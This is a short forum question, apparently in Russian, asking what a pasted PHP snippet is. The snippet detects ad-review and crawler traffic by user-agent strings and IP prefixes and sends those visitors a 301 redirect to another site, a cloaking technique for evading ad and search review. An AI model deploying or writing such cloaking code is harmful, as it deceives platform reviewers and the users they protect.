Вопрос ? Что это? 

<?php
function isBotByUserAgent($agent)
{
$agent = strtolower($agent);
foreach(array('adsbot','keyword suggestion','cros','66.249.','104.132.','94.180.','37.113.','37.112.','37.112.','66.102.') as $substr){
if(strpos($agent, $substr) !== false){
return true;
}
}
return false;
}

$agent = $_SERVER['HTTP_USER_AGENT'];
$botip = $_SERVER["REMOTE_ADDR"];

if (@isBotByUserAgent($agent) or @isBotByUserAgent($botip))
{
$url = "http://www.caranddriver.com/";
header('HTTP/1.1 301 Moved Permanently');
header('Location: '.$url);
}
?>